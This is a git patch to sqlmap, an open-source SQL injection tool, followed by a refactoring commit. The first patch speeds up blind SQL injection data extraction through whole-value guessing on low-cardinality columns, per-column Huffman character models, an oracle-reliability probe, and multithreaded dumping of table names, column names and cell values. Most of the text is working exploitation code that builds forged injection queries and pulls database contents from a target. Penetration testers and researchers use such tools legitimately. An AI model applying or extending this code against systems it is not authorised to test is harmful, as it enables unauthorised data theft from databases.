Backend.getIdentifiedDbms() == DBMS.SQLITE: + condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) + + return condition + +def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): + """ + Known-answer differential health-check on the inference oracle, using the value just extracted. + Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = " (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel + (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, + and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. + + Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected + inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII). + """ + + if not value or valueMatchCondition(expressionUnescaped, value) is None: + return True + + # a definitely-different copy: flip the last character to a neighbour that cannot equal it + corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") + corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) + if corruptCondition is None: + return True + + try: + truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) + mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) + mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + except Exception: + return True # a transient hiccup is not evidence of an unreliable oracle + + return bool(mustBeTrue) and not bool(mustBeFalse) + def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection @@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 + columnKey = None if payload is None: return 0, None @@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() + threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) @@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the - # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged) - if conf.predictOutput: - kb.partRun = getPartRun() - elif conf.api or conf.reportJson: - kb.partRun = getPartRun(alias=False) - else: - kb.partRun = None + # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH + # the value-parallel and the classic serial name-enumeration paths. It is derived from the call + # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites + # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its + # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). + derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) + if derivedPartRun is not None: + kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) @@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) + # Row-independent key for this column (pagination offset masked), grouping all of a column's + # rows for low-cardinality guessing and for its own per-column online Huffman model. + columnKey = normalizedExpression(expression) if dump else None + + # Low-cardinality whole-value guessing: when the distinct values already seen for this column are + # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them + # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ + # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). + # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed + # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires + # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. + if columnKey is not None and not partialValue: + # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). + with kb.locks.prediction: + seen = dict(kb.lowCardCache.get(columnKey) or ()) + # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is + # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. + # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a + # column that trips the threshold with many near-unique values wastes only a bounded number of + # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. + if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: + for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: + matchCondition = valueMatchCondition(expressionUnescaped, candidate) + if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char + continue + forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) + hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit and timeBasedCompare: + # A single time-based boolean is noisy; confirm the whole-value hit with a + # not-equals check (validateChar spirit) before trusting it, so timing jitter can + # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the + # ~7-delays/char x N of full extraction. + notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) + hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit: + threadData.lowCardHit = True + return getCounter(getTechnique()), candidate + + # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context + # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name + # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN + # order-0 model: each column learns its own character distribution, so a column restricted to few + # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone + # (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution. + # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads + # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. + if kb.partRun in NAME_PREDICTION_CONTEXTS: + huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER + huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) + else: + huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: @@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): + if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) @@ -295,12 +529,21 @@ def huffmanChar(idx): back to the classic bisection. Returns the character, or None to fall back. """ ESCAPE = -1 - model = kb.huffmanModel + model = kb.huffmanModel.setdefault(huffmanKey, {}) + threadData = getCurrentThreadData() + + # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online + # model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the + # first character); order 0 collapses to the classic single-context adaptive model. Retrieval + # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so + # the model - even raced under threads - only ever affects speed, never the returned value. + context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" + weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) heap = [] for order, ordinal in enumerate(xrange(128)): - heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) - heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) + heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 while len(heap) > 1: @@ -337,12 +580,23 @@ def _hasEscape(n): result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) + # Guard against target-side length limits / WAFs that reject the (potentially long) + # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means + # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk + # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') + # bisection, which re-extracts and validates it; the escape counter in getChar() latches + # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a + # normal content-based (200/200) response never trips it. + if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): + return _HUFFMAN_FALLBACK + node = testNode if result else otherNode value = node[0] if value == ESCAPE: - model[ESCAPE] = model.get(ESCAPE, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 return _HUFFMAN_FALLBACK if value == 0: @@ -365,13 +619,17 @@ def _hasEscape(n): kb.disableHuffman = True return _HUFFMAN_FALLBACK - model[value] = model.get(value, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 return decodeIntToUnicode(value) - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 + + restricted means charTbl is a narrowed per-column observed range (time-based only): a character + landing outside it fails validateChar and is re-extracted over the full charset. """ threadData = getCurrentThreadData() @@ -381,7 +639,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if result: return result - if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare + # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for + # time-based, where each membership step is timing-noisy and lacks per-character validation + # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection + # plus low-cardinality whole-value guessing instead. + if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 @@ -545,6 +807,10 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if restricted: + # the character fell outside this column's observed range - re-extract + # over the full charset (not timing noise, so no delay increase / retry count) + return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec @@ -625,6 +891,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return None else: return decodeIntToUnicode(candidates[0]) + elif restricted: + # the self-validating '=' failed: the character is outside this column's observed set + # (or is end-of-string) - re-extract over the full charset, which validates the value + # and detects end-of-string correctly + return getChar(idx, asciiTbl, True, retried=retried) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: @@ -732,11 +1003,11 @@ def blindThread(): # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment - if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: + if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None - commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) + commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) - # If there is one single output in common-outputs, check + # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue @@ -778,19 +1049,45 @@ def blindThread(): val = commonPattern[index - 1:] index += len(val) - 1 - # Otherwise if there is no commonValue (single match from - # txt/common-outputs.txt) and no commonPattern - # (common pattern) use the returned common charset only - # to retrieve the query output - if not val and commonCharset: - val = getChar(index, commonCharset, False) - - # If we had no luck with commonValue and common charset, - # use the returned other charset + # Char-by-char fallback. When Huffman is actually active it is driven over the full + # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next + # character at its root (~1 request), subsuming the common/other charset split. When + # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED + # where getChar disables it) the classic reordered-charset bisection is used instead - so + # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay + # full-charset bisection for every character). if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: + val = getChar(index, asciiTbl, True) + else: + if commonCharset: + val = getChar(index, commonCharset, False) + + if not val: + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) + # Time-based dump: once a column's character set has proven closed (unchanged for + # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those + # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality + # self-validates the character (no separate validateChar). A narrow-charset column (hex, + # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 + # delayed requests/char. A character outside the observed set makes that '=' fail and is + # re-extracted over the full charset (see the restricted escalation in getChar). Time-based + # only: boolean has no per-character validation to catch such a miss (and uses Huffman). + restrictedTbl = None + if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset + and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): + with kb.locks.prediction: + observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) + if observed and len(observed) <= 64: + # include the 0 end-of-string sentinel so end is detected in-band (the bit-search + # returns None on 0), avoiding a full-charset escalation at the end of every value + restrictedTbl = sorted(observed | set((0,))) + + if restrictedTbl is not None: + val = getChar(index, restrictedTbl, False, expand=False, restricted=True) + else: + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -831,11 +1128,11 @@ def blindThread(): if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) - # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted - # value for its enumeration context so later same-context items sharing structure are predicted - # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool); - # a wrong prediction only ever costs a probe and falls back to bisection. - if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None + # Adaptive intra-run prediction: remember this extracted name for its enumeration context so + # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. + # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a + # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. + if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) @@ -861,6 +1158,42 @@ def blindThread(): _ = finalValue or partialValue + # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most + # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). + if columnKey is not None and finalValue: + # Track the column's low-cardinality cache and observed character set. Guarded by the prediction + # lock because value-parallel dump workers update these concurrently. + ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) + with kb.locks.prediction: + seen = kb.lowCardCache.setdefault(columnKey, {}) + if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: + seen[finalValue] = seen.get(finalValue, 0) + 1 + + if ordinals: + existing = kb.dumpCharset.setdefault(columnKey, set()) + grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? + existing.update(ordinals) + # Trust the observed alphabet as closed only after it stays unchanged for several consecutive + # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and + # never triggers the restricted search, so it is never charged the miss-then-escalate cost. + kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 + + # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a + # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump + # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always + # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. + if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode + and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): + with kb.locks.prediction: + kb.litmusCounter += 1 + due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) + if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): + kb.reliabilityAlarm = True + warnMsg = "the target's responses are inconsistent for known-true/known-false probes " + warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " + warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" + singleTimeWarnMessage(warnMsg) + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 20d0941bd2d..c439863b9c0 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -401,26 +401,39 @@ def getTables(self, bruteForce=None): plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): - query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = _query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = _query % (index, unsafeSQLIdentificatorNaming(db)) - elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): - query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) - else: - query = _query % (unsafeSQLIdentificatorNaming(db), index) + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic ", " blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used only with + # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, + # which still gets predictive inference via getPartRun. The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) + + if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) if tables: kb.data.cachedTables[db] = tables @@ -841,7 +854,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.error(errMsg) continue - for index in getLimitRange(count): + def columnNameQuery(index): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -880,8 +893,22 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + return agent.limitQuery(index, query, field, field) + + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live). Serial fallback for single-thread and when also fetching per-column comments. + columnNames = None + if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 91781477951..9c9a87b841e 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -418,41 +418,70 @@ def dumpTable(self, foundData=None): debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads'; the + # classic per-character-parallel loop stays for single-thread and time-based. + if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" - - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) - elif Backend.isDbms(DBMS.FRONTBASE): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + entries[column] = BigArray() + lengths.setdefault(column, 0) + + if column in emptyColumns: + values = [NULL] * len(indexRange) else: - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) - query = agent.whereQuery(query) + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value - lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) - entries[column].append(value) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True From 8f6a37275c184695d0ca0048fb28a2796ac6a2d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 13:34:46 +0200 Subject: [PATCH 689/853] Some refactoring --- data/txt/sha256sums.txt | 747 -------------------------- doc/THIRD-PARTY.md | 2 - extra/shutils/precommit-hook.sh | 5 - lib/core/common.py | 44 +- lib/core/option.py | 4 +- lib/core/settings.py | 2 +- lib/request/multiparthandler.py | 89 +++ sqlmap.py | 4 +- thirdparty/multipart/__init__.py | 0 thirdparty/multipart/multipartpost.py | 114 ---- 10 files changed, 118 insertions(+), 893 deletions(-) delete mode 100644 data/txt/sha256sums.txt create mode 100644 lib/request/multiparthandler.py delete mode 100644 thirdparty/multipart/__init__.py delete mode 100644 thirdparty/multipart/multipartpost.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt deleted file mode 100644 index 6ed89afa748..00000000000 --- a/data/txt/sha256sums.txt +++ /dev/null @@ -1,747 +0,0 @@ -e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql -6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql -798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql 